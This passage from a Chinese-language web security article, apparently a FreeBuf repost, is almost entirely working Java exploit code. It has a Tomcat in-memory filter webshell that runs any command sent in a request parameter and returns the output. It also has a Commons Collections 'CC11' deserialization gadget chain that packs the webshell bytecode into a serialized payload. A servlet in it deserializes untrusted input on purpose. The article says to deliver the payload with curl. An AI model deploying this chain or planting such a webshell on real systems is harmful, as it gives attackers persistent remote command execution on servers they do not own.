} catch (Throwable t){}
if (ccc == null) {
try {
ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
} catch (Throwable t){}
}
//把filter插到第一位
Method m = Class.forName("org.apache.catalina.core.StandardContext")
.getDeclaredMethod("findFilterMaps");
Object[] filterMaps = (Object[]) m.invoke(standardContext);
Object[] tmpFilterMaps = new Object[filterMaps.length];
int index = 1;
for (int i = 0; i < filterMaps.length; i++) {
Object o = filterMaps[i];
m = ccc.getMethod("getFilterName");
String name = (String) m.invoke(o);
if (name.equalsIgnoreCase(filterName)) {
tmpFilterMaps[0] = o;
} else {
tmpFilterMaps[index++] = filterMaps[i];
}
}
for (int i = 0; i < filterMaps.length; i++) {
filterMaps[i] = tmpFilterMaps[i];
}
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
private static ServletContext getServletContext()
throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ServletRequest servletRequest = null;
/*shell注入，前提需要能拿到request、response等*/
Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");
f.setAccessible(true);
ThreadLocal threadLocal = (ThreadLocal) f.get(null);
//不为空则意味着第一次反序列化的准备工作已成功
if (threadLocal != null && threadLocal.get() != null) {
servletRequest = (ServletRequest) threadLocal.get();
}
//如果不能去到request，则换一种方式尝试获取
//spring获取法1
if (servletRequest == null) {
try {
c = Class.forName("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getRequest");
servletRequest = (ServletRequest) m.invoke(o);
} catch (Throwable t) {}
}
if (servletRequest != null)
return servletRequest.getServletContext();
//spring获取法2
try {
c = Class.forName("org.springframework.web.context.ContextLoader");
Method m = c.getMethod("getCurrentWebApplicationContext");
Object o = m.invoke(null);
c = Class.forName("org.springframework.web.context.WebApplicationContext");
m = c.getMethod("getServletContext");
ServletContext servletContext = (ServletContext) m.invoke(o);
return servletContext;
} catch (Throwable t) {}
return null;
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
FilterChain filterChain) throws IOException, ServletException {
System.out.println(
"TomcatShellInject doFilter.....................................................................");
String cmd;
if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}

通过cc11打入字节码。

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
@SuppressWarnings("all")
public class CC11Template {
public static void main(String[] args) throws Exception {
byte[] bytes = getBytes();
byte[][] targetByteCodes = new byte[][]{bytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field f0 = templates.getClass().getDeclaredField("_bytecodes");
f0.setAccessible(true);
f0.set(templates,targetByteCodes);
f0 = templates.getClass().getDeclaredField("_name");
f0.setAccessible(true);
f0.set(templates,"name");
f0 = templates.getClass().getDeclaredField("_class");
f0.setAccessible(true);
f0.set(templates,null);
// 利用反射调用 templates 中的 newTransformer 方法
InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
HashSet hashset = new HashSet(1);
hashset.add("foo");
// 我们要设置 HashSet 的 map 为我们的 HashMap
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap hashset_map = (HashMap) f.get(hashset);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array = (Object[])f2.get(hashset_map);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node,tiedmap);
// 在 invoke 之后，
Field f3 = transformer.getClass().getDeclaredField("iMethodName");
f3.setAccessible(true);
f3.set(transformer,"newTransformer");
try{
//ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step1.ser"));
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step2.ser"));
outputStream.writeObject(hashset);
outputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}
public static byte[] getBytes() throws IOException {
//    第一次
//        InputStream inputStream = new FileInputStream(new File("./TomcatEcho.class"));
//  第二次  
InputStream inputStream = new FileInputStream(new File("./TomcatInject.class"));
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int n = 0;
while ((n=inputStream.read())!=-1){
byteArrayOutputStream.write(n);
}
byte[] bytes = byteArrayOutputStream.toByteArray();
return bytes;
}
}

servlet接收http请求并反序列化：

@WebServlet("/cc")
public class CCServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
InputStream inputStream = (InputStream) req;
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
try {
objectInputStream.readObject();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
resp.getWriter().write("Success");
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
InputStream inputStream = req.getInputStream();
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
try {
objectInputStream.readObject();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
resp.getWriter().write("Success");
}
}

运行CC11Template得到cc11Step1.ser和cc11Step2.ser，通过curl --data-binary注入二进制数据。

参考：http://wjlshare.com/archives/1541

http://wjlshare.com/archives/1536

https://xz.aliyun.com/t/7348#toc-3

https://xz.aliyun.com/t/7388

原文链接：https://www.freebuf.com/articles/web/354385.html